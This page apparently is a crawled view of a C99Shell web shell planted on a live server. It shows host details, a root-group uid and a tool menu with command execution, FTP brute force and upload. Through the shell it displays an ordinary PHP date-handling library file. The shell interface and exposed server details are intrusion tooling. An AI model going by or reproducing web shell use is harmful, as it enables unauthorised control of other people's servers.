!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/thecodingmachine/safe/lib/   drwxr-xr-x
Free 28.14 GB of 117.98 GB (23.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DateTimeImmutable.php (7.91 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Safe;

use 
DateInterval;
use 
DateTime;
use 
DateTimeInterface;
use 
DateTimeZone;
use 
Safe\Exceptions\DatetimeException;

/**
 * This class is used to implement a safe version of the DatetimeImmutable class.
 * While it technically overloads \DateTimeImmutable for typehint compatibility,
 * it is actually used as a wrapper of \DateTimeImmutable, mostly to be able to overwrite functions like getTimestamp() while still being able to edit milliseconds via setTime().
 */
class DateTimeImmutable extends \DateTimeImmutable
{
    
/**
     * @var \DateTimeImmutable
     */
    
private $innerDateTime;

    
/**
     * DateTimeImmutable constructor.
     * @param string $time
     * @param DateTimeZone|null $timezone
     * @throws \Exception
     */
    
public function __construct($time 'now'$timezone null)
    {
        
parent::__construct($time$timezone);
        
$this->innerDateTime = new parent($time$timezone);
    }

    
//switch between regular datetime and safe version
    
public static function createFromRegular(\DateTimeImmutable $datetime): self
    
{
        
$safeDatetime = new self($datetime->format('Y-m-d H:i:s.u'), $datetime->getTimezone()); //we need to also update the wrapper to not break the operators '<' and '>'
        
$safeDatetime->innerDateTime $datetime//to make sure we don't lose information because of the format().
        
return $safeDatetime;
    }

    
//usefull if you need to switch back to regular DateTimeImmutable (for example when using DatePeriod)
    
public function getInnerDateTime(): \DateTimeImmutable
    
{
        return 
$this->innerDateTime;
    }

    
/////////////////////////////////////////////////////////////////////////////
    // overload functions with false errors

    /**
     * @param string $format
     * @param string $time
     * @param DateTimeZone|null $timezone
     * @throws DatetimeException
     */
    
public static function createFromFormat($format$time$timezone null): self
    
{
        
$datetime parent::createFromFormat($format$time$timezone);
        if (
$datetime === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
self::createFromRegular($datetime);
    }

    
/**
     * @param string $format
     * @return string
     * @throws DatetimeException
     */
    
public function format($format): string
    
{
        
/** @var string|false $result */
        
$result $this->innerDateTime->format($format);
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
$result;
    }

    
/**
     * @param DateTimeInterface $datetime2
     * @param bool $absolute
     * @return DateInterval
     * @throws DatetimeException
     */
    
public function diff($datetime2$absolute false): DateInterval
    
{
        
/** @var \DateInterval|false $result */
        
$result $this->innerDateTime->diff($datetime2$absolute);
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
$result;
    }

    
/**
     * @param string $modify
     * @return DateTimeImmutable
     * @throws DatetimeException
     */
    
public function modify($modify): self
    
{
        
/** @var \DateTimeImmutable|false $result */
        
$result $this->innerDateTime->modify($modify);
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
self::createFromRegular($result); //we have to recreate a safe datetime because modify create a new instance of \DateTimeImmutable
    
}

    
/**
     * @param int $year
     * @param int $month
     * @param int $day
     * @return DateTimeImmutable
     * @throws DatetimeException
     */
    
public function setDate($year$month$day): self
    
{
        
/** @var \DateTimeImmutable|false $result */
        
$result $this->innerDateTime->setDate($year$month$day);
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
self::createFromRegular($result); //we have to recreate a safe datetime because modify create a new instance of \DateTimeImmutable
    
}

    
/**
     * @param int $year
     * @param int $week
     * @param int $day
     * @return DateTimeImmutable
     * @throws DatetimeException
     */
    
public function setISODate($year$week$day 1): self
    
{
        
/** @var \DateTimeImmutable|false $result */
        
$result $this->innerDateTime->setISODate($year$week$day);
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
self::createFromRegular($result); //we have to recreate a safe datetime because modify create a new instance of \DateTimeImmutable
    
}

    
/**
     * @param int $hour
     * @param int $minute
     * @param int $second
     * @param int $microseconds
     * @return DateTimeImmutable
     * @throws DatetimeException
     */
    
public function setTime($hour$minute$second 0$microseconds 0): self
    
{
        
/** @var \DateTimeImmutable|false $result */
        
$result $this->innerDateTime->setTime($hour$minute$second$microseconds);
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
self::createFromRegular($result);
    }

    
/**
     * @param int $unixtimestamp
     * @return DateTimeImmutable
     * @throws DatetimeException
     */
    
public function setTimestamp($unixtimestamp): self
    
{
        
/** @var \DateTimeImmutable|false $result */
        
$result $this->innerDateTime->setTimestamp($unixtimestamp);
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
self::createFromRegular($result);
    }

    
/**
     * @param DateTimeZone $timezone
     * @return DateTimeImmutable
     * @throws DatetimeException
     */
    
public function setTimezone($timezone): self
    
{
        
/** @var \DateTimeImmutable|false $result */
        
$result $this->innerDateTime->setTimezone($timezone);
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
self::createFromRegular($result);
    }

    
/**
     * @param DateInterval $interval
     * @return DateTimeImmutable
     * @throws DatetimeException
     */
    
public function sub($interval): self
    
{
        
/** @var \DateTimeImmutable|false $result */
        
$result $this->innerDateTime->sub($interval);
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
self::createFromRegular($result);
    }

    
/**
     * @throws DatetimeException
     */
    
public function getOffset(): int
    
{
        
/** @var int|false $result */
        
$result $this->innerDateTime->getOffset();
        if (
$result === false) {
            throw 
DatetimeException::createFromPhpError();
        }
        return 
$result;
    }

    
//////////////////////////////////////////////////////////////////////////////////////////
    //overload getters to use the inner datetime immutable instead of itself

    /**
     * @param DateInterval $interval
     * @return DateTimeImmutable
     */
    
public function add($interval): self
    
{
        return 
self::createFromRegular($this->innerDateTime->add($interval));
    }

    
/**
     * @param DateTime $dateTime
     * @return DateTimeImmutable
     */
    
public static function createFromMutable($dateTime): self
    
{
        return 
self::createFromRegular(parent::createFromMutable($dateTime));
    }

    
/**
     * @param mixed[] $array
     * @return DateTimeImmutable
     */
    
public static function __set_state($array): self
    
{
        return 
self::createFromRegular(parent::__set_state($array));
    }

    public function 
getTimezone(): DateTimeZone
    
{
        return 
$this->innerDateTime->getTimezone();
    }

    public function 
getTimestamp(): int
    
{
        return 
$this->innerDateTime->getTimestamp();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--